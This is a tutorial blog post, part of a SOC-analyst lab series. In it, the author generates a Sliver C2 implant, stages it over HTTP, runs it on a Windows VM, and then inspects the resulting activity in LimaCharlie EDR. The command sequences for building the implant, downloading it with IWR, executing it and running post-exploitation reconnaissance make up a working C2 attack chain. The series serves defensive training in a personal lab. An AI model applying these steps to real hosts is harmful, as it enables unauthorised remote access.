So you want to be a SOC Analyst? Part 2

Put on your adversary hat, it's time to make (and observe) some noise

If you just landed here, be sure to check out the Intro to this series for backstory. You absolutely need to cover Part 1 before you proceed here.

Generate our C2 payload

Jump into an SSH session on the Linux VM (like we did in Part 1) for the following actions.

1. Drop into a root shell and change directory to our Sliver install

   sudo su

   cd /opt/sliver

2. Launch Sliver server

   sliver-server

   

3. Generate our first C2 session payload (within the Sliver shell above). Be sure to use your Linux VM’s IP address we statically set in Part 1.

   generate --http [Linux_VM_IP] --save /opt/sliver

   

   Take note of the randomized name of the output file, you will see this many times throughout the guide, but yours will be unique.

4. Confirm the new implant configuration

   implants

   

5. Now we have a C2 payload we can drop onto our Windows VM. We’ll do that next. Go ahead and exit Sliver for now.

   exit

6. To easily download the C2 payload from the Linux VM to the Windows VM, let’s use a little python trick that spins up a temporary web server.

   cd /opt/sliver

   python3 -m http.server 80

7. Switch to the Windows VM and launch an Administrative PowerShell console.

   1. Now run the following command to download your C2 payload from the Linux VM to the Windows VM, swapping your own Linux VM IP [Linux_VM_IP] and the name of the payload we generated in Sliver [payload_name] a few steps prior.

      IWR -Uri http://[Linux_VM_IP]/[payload_name].exe -Outfile C:\Users\User\Downloads\[payload_name].exe

8. Now would be a good time to snapshot your Windows VM, before we execute the malware.

   1. Snapshot name: “Malware staged”

Start Command and Control Session

1. Now that the payload is on the Windows VM, we must switch back to the Linux VM SSH session and enable the Sliver HTTP server to catch the callback.

   1. First, terminate the python web server we started by pressing Ctrl + C

   2. Now, relaunch Sliver

      sliver-server

   3. Start the Sliver HTTP listener

      http

   4. If you get an error starting the HTTP listener, try rebooting the Linux VM and retrying.

2. Return to the Windows VM and execute the C2 payload from its download location using the same administrative PowerShell prompt we had from before

   1. NOTE: This must be done from an Administrative command prompt or subsequent steps will fail

      C:\Users\User\Downloads\<your_C2-implant>.exe

3. Within a few moments, you should see your session check in on the Sliver server

   

   This means everything worked so far!

4. Verify your session in Sliver, taking note of the Session ID

   sessions

   

5. To interact with your new C2 session, type the following command into the Sliver shell, swapping [session_id] with yours

   use [session_id]

   

6. You are now interacting directly with the C2 session on the Windows VM. Let’s run a few basic commands to get our bearing on the victim host.

   1. Get basic info about the session

      info

   2. Find out what user your implant is running as, and learn it’s privileges

      whoami

      getprivs

      1. If your implant was properly run with Admin rights, you’ll notice we have a few privileges that make further attack activity much easier, such as “SeDebugPrivilege” — if you do not see these privileges, make sure you ran the implant from an Administrative command prompt.

         

   3. Identify our implant’s working directory

      pwd

   4. Examine network connections occurring on the remote system

      netstat

      1. Notice that Sliver cleverly highlights its own process in green.

      2. rphcp.exe is the LimaCharlie EDR service executable

   5. Identify running processes on the remote system

      ps -T

      1. Notice that Sliver cleverly highlights its own process in green and any detected countermeasures (defensive tools) in red

         

         

         This is how attackers become aware of what security products a victim system may be using.

Observe EDR Telemetry So Far

1. Let’s hop into the LimaCharlie web UI and check out some basic features.

   1. Click “Sensors” on left menu

   2. Click your active Windows sensor

      

   3. On the new left-side menu for this sensor, click “Processes”

      

      1. Spend a few minutes exploring what is returned in the process tree. Hover over some of the icons to see what they represent.

         1. I can’t stress enough how important it is for an analyst to have familiarity with the most common processes you’ll encounter on even a healthy system. As we say at SANS, “you must know normal before you can find evil.” For some helpful resources in “knowing normal”, check out the “Hunt Evil” poster from SANS and sign up for a free account at EchoTrail.

      2. A process carrying a valid signature (Signed) is often (almost always) going to be benign itself. However, even legitimate signed processes can be used to launch malicious processes/code (read up on LOLBINs).

      3. One of the easiest ways to spot unusual processes is to simply look for ones that are NOT signed.

         

      4. In my example, my C2 implant shows as not signed, and is also active on the network.

         

      5. Notice how quickly we are able to identify the destination IP this process is communicating with.

   4. Now click the “Network” tab on the left-side menu

      

      1. Spend a few minutes exploring what is returned in the network list. Try using Ctrl+F to search for your implant name and/or C2 IP address.

   5. Now click the “File System” tab on the left-side menu

      

      1. Browse to the location we know our implant to be running from.

         1. C:\Users\User\Downloads

      2. Inspect the hash of the suspicious executable by scanning it with VirusTotal.

         

         

      3. Pro Tip: While it says “Scan with VirusTotal,” what it’s actually doing is querying VirusTotal for the hash of the EXE. If the file is a common/well-known malware sample, you will know it right away. However, “Item not found” on VT does not mean that this file is innocent, just that it’s never been seen before by VirusTotal. This makes sense because we just generated this payload ourselves, so of course it’s not likely to be seen by VirusTotal before. This is an important lesson for any analyst to learn — if you already suspect a file to be possible malware, but VirusTotal has never seen it before, trust your gut. This actually makes a file even more suspicious because nearly everything has been seen by VirusTotal, so your sample may have been custom-crafted/targeted which ups the ante a bit. In a mature SOC, this would likely affect the TLP of the IOC and/or case itself.

   6. Click “Timeline” on the left-side menu of our sensor. This is a near real-time view of EDR telemetry + event logs streaming from this system.

      

      1. Read about the various EDR events in the LimaCharlie docs.

      2. Practice filtering your timeline with known IOCs (indicators of compromise) such as the name of your implant or the known C2 IP address

         1. If you scroll back far enough, should be able to find the moment your implant was created on the system, and when it was launched shortly after, and the network connections it created immediately after.

            

         2. Examine the other events related to your implant process, you’ll see it is responsible for other events such as “SENSITIVE_PROCESS_ACCESS” from when we enumerated our privileges in an earlier step. This particular event will be useful later on when we craft our first detection rule.

Spend more time exploring LimaCharlie telemetry to familiarize yourself not only with the known-bad events, but also the abundance of “normal” things happening on your “idle” Windows VM… Even clean systems are very noisy, so familiarizing yourself with that noise will pay dividends in your career as an analyst.

In the next post, we’re going to get back into our Sliver C2 session and do some more insidious things to generate telemetry we’ll use to craft our first threat detection rule.